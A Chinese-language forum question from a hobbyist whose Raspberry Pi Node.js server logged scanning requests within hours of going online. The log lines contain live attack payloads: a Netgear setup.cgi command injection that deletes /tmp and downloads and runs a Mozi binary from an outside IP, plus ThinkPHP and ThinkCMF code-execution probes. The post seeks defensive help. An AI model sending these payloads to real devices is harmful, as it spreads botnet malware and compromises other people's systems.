【发布时间】:2023-08-21 07:51:01
【问题描述】:
我最近设置了一个家庭网络服务器来运行我的 node.js 和 express 网络应用程序(使用 Raspberry Pi,基本上是为了弄清楚如何去做)。
在我的域上激活它后不久(几小时),我记录了以下 GET 请求:
0|app.js | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://218.77.224.248:55400/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 404 23.779 ms - 922
0|app.js | GET /solr/admin/info/system?wt=json 404 25.780 ms - 922
0|app.js | GET /?XDEBUG_SESSION_START=phpstorm 200 24.322 ms - 170
0|app.js | GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> 200 21.867 ms - 170
0|app.js | GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP 404 25.449 ms - 922
我的服务器受到攻击了吗?
如果是这样,攻击者是如何针对我的?
如何防止攻击并获得良好的安全性?
还是我读错了?
谢谢
【问题讨论】:
标签: node.js express get webserver